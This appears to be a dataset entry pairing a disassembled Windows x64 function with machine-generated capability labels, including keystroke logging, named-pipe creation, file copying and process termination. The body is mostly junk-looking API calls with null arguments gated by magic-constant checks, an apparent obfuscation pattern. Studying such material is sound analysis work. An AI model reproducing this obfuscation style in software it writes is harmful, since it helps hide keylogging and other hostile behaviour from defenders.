Function at 0x180009780
Capabilities:
Copy file
Create pipe
Enumerate gui resources
Get common file path
Get file size
Log keystrokes via polling
Read .ini file
Terminate process
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov dword [rsp + 0x48], 0x127
lea rax, [0x180002690]
add rax, 0x127
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rax
mov ebx, edx
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
call fcn.18000cd90
xor edi, edi
cmp dword [0x1800afe90], 0x1ccec594
jne 0x180009933
xor ecx, ecx
call qword [sym.imp.USER32.dll_VkKeyScanW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetClipCursor]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeClientComputerNameW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUILanguageInfo]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DialogBoxIndirectParamW]
xor r9d, r9d
mov dword [rsp + 0x28], edi
lea r8, [0x1800c5078]
mov qword [rsp + 0x20], rdi
xor edx, edx
lea rcx, [0x1800c50a8]
call qword [sym.imp.KERNEL32.dll_GetNumberFormatEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockShared]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_UnpackDDElParam]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualLock]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_ScrollDC]
call qword [sym.imp.USER32.dll_CreateMenu]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_keybd_event]
call qword [sym.imp.USER32.dll_DestroyCaret]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ArrangeIconicWindows]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_OffsetRect]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolTimer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
xor ecx, ecx
lea rdx, [0x1800c50d0]
xor r8d, r8d
call qword [sym.imp.USER32.dll_CharNextExA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSectionWhenCallbackReturns]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleActiveScreenBuffer]
cmp ebx, 1
jne 0x180009cab
mov dword [rsp + 0x48], 0x1be
lea rax, [0x180006480]
add rax, 0x1be
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
call fcn.18000cd90
cmp dword [0x1800afe90], 0x4cee9ccd
jne 0x180009af3
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentConsoleFontEx]
mov qword [rsp + 0x38], rdi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov qword [rsp + 0x28], rdi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualLock]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DebugSetProcessKillOnExit]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCPInfoExW]
mov r9d, dword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetUILanguageInfo]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteProfileStringW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolIo]
mov qword [rsp + 0x38], rdi
xor r9d, r9d
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov dword [rsp + 0x28], edi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov dword [rsp + 0x48], 0x208
lea rax, [0x180004400]
add rax, 0x208
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
call fcn.18000cd90
cmp dword [0x1800afe90], 0x5ee05834
jne 0x180009cab
xor r9d, r9d
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
mov rdx, qword [rsp + 0x78]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_MoveToEx]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetupComm]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsBadCodePtr]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetFontLanguageInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_EqualRgn]
xor r9d, r9d
mov dword [rsp + 0x28], edi
lea r8, [0x1800c50f0]
mov qword [rsp + 0x20], rdi
xor edx, edx
lea rcx, [0x1800c5120]
call qword [sym.imp.KERNEL32.dll_GetNumberFormatEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
xor r8d, r8d
lea rdx, [0x1800c5140]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNLSVersionEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_OffsetWindowOrgEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CopyFileW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_Ellipse]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleHistoryInfo]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfoEx]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisassociateCurrentThreadFromCallback]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrush]
mov eax, dword [0x1800afeb4]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret